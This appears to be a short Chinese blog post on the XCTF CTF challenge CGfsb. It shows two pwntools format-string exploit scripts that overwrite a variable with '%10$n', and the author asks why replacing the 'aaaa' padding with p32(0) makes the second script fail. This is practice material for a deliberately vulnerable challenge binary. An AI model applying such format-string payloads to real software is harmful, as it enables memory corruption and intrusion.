格式化字符串问题

今天又试了试攻防世界CGfsb的脚本,无意中发现了一个问题。

exp1

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=process('./CGfsb')
#p=remote('111.200.241.244',52117)
pwnme_addr=0x0804A068
payload=p32(pwnme_addr)+'aaaa'+'%10$n'
p.recvuntil("please tell me your name:\n")
p.sendline('Sakura')
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()
p.close()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=process('./CGfsb')
#p=remote('111.200.241.244',52117)
pwnme_addr=0x0804A068
payload=p32(pwnme_addr)+p32(0)+'%10$n'
p.recvuntil("please tell me your name:\n")
p.sendline('Sakura')
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()
p.close()

无意中是把payload中的4个aaaa改成了p32(0)就无法pwn掉了
不知道是什么原因无语~~


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!